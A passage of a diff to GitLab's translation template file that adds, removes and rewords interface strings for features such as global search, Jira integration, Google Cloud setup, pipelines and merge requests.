-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19649,9 +19980,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20293,7 +20624,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20398,6 +20729,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20443,6 +20777,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20581,9 +20918,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20611,13 +20945,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20635,6 +20969,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20850,7 +21187,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20931,7 +21268,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21144,6 +21481,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -21162,6 +21502,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21369,9 +21712,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21534,6 +21874,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21549,6 +21895,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21594,22 +21943,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21729,6 +22069,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22366,6 +22718,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22617,9 +22972,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23231,6 +23589,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23279,9 +23640,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23324,6 +23691,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
